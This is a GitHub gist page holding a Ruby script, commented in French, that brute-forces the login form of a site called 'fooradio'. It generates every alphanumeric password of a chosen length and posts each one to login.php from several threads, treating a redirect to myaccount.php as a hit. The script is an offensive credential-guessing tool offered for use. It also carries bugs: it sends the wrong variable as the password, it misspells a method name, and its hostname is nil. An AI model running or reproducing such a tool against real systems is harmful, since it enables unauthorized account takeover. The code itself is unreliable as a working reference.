Created
August 28, 2016 20:56
-
-
Save anonymous/530a4fb061c12752506796bfb5e46ffe to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/ruby | |
# coding: utf-8 | |
=begin | |
Description: Attaque par force brute de l'authentification; | |
=end | |
### Chargement des librairies; | |
require 'net/http' | |
require 'thread' | |
### Définition des méthodes; | |
# Affiche sur la sortie standard une aide; | |
def usage | |
puts "Bruteforce passwords for fooradio" | |
puts "Usage: #{$0} <username> <password_length>" | |
end | |
# Test les mots de passe; | |
# http_con ==> Connexion au serveur http; | |
# username ==> Nom de l'utilisateur; | |
# passwords ==> File de mots de passe; | |
# pwd_found ==> Evnmt mot de passe trouvé; | |
# stdout_lock ==> Verrou pour la sortie standard | |
def check_passwords(http_con, username, passwords,pwd_found, stdout_lock) | |
post_req = Net::HTTP::Post.new('/login.php') | |
loop do | |
break if pwd_found.found? # Sortir si le mot de passe a été trouvé; | |
pwd = passwords.pop # Récupérer un element | |
if pwd.is_a?(EndOfBruteForce) | |
# La fin de la force brute a été atteinte; | |
break # Sortie de la boucle; | |
else | |
post_req.set_form_data({'user' => username, 'pass' => pwd_found}) | |
post_resp = http_con.request post_req # Envoi de la requête | |
if post_resp.code.eql?('302') and post_resp['Location'].eql?('myaccount.php') | |
pwd_found.found = 1 | |
stdout_lock.synchronize { puts "[+] Password found: #{pwd}" } | |
break # Sortie du programme | |
end | |
end | |
end | |
end | |
# Génère des mots de taille "size" | |
def bruteforce(size, &block) | |
alphabet = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' | |
old_prefixes = [''] | |
size.times do |count| | |
new_prefixes = [] | |
old_prefixes.each do |prefix| # Parcours des anciens prefixes | |
alphabet.each_char do |char| | |
new_prefix = prefix + char | |
if count == size - 1 | |
block.call new_prefix | |
else | |
new_prefixes << new_prefix | |
end | |
end # Fin alphabet.each_char | |
end # Fin de old_prefixes.each | |
old_prefixes = new_prefixes | |
end # Fin de size.times | |
end | |
### Définition des classes; | |
# Représente l'evnmt mot de passe trouvé | |
class PasswordFound | |
# Constructeur | |
def initialize | |
@password_found = false | |
@password_lock = Mutex.new | |
end | |
# Retourne true si le mot de passe a été trouvé, false sinon | |
def found? | |
@password_lock.synchronize { return @password_found } | |
end | |
# Setter | |
def found=(value) | |
@password_found = value | |
end | |
end # Fin PasswordFound | |
# Représente la fin de la force brute | |
class EndOfBruteForce | |
end # Fin EndOfPasswords | |
### Partie principale | |
if ARGV.size < 2 | |
# L'utilisateur n'a pas saisi les bons arguments; | |
usage | |
exit -1 # Sortie du programme; | |
else | |
username,pwd_len = ARGV[0], ARGV[1].to_i | |
hostname = nil | |
passwords_to_test = Queue.new # File de mots de passe à tester | |
num_consumer_threads = 5 # Nombre de threads consomateurs; | |
pwd_found = PasswordFound.new | |
stdout_lock = Mutex.new # Verrou pour la sortie standard; | |
threads = [] | |
# Remplir la file de mots de passe | |
producer_thread = Thread.start do | |
bruteforce(pwd_len) do |password| | |
passwords_to_test << password unless pwd_found.found? | |
end # Fin de bruteforce | |
num_consumer_threads.times { passwords_to_test << EndOfBruteForce } # Empoisonnement de la file | |
end # Fin | |
threads << producer_thread | |
# Etablir des connections au serveur | |
num_consumer_threads.times do |thread_id| | |
consumer_thread = Thread.start(thread_id) do |thread_id| | |
http_con = Net::HTTP.new(hostname) | |
http_con.start | |
stdout_lock.synchonize { puts "Thread #{thread_id} established connection to server #{hostname}" } | |
check_passwords(http_con, username, passwords_to_test, pwd_found, stdout_lock) | |
end | |
threads << consumer_thread | |
end # Fin de num_consumer_threads.times | |
threads.each { |thread| thread.join } # Attendre la fin des threads | |
puts "[-] No password was found!" if not pwd_found.found? | |
end | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment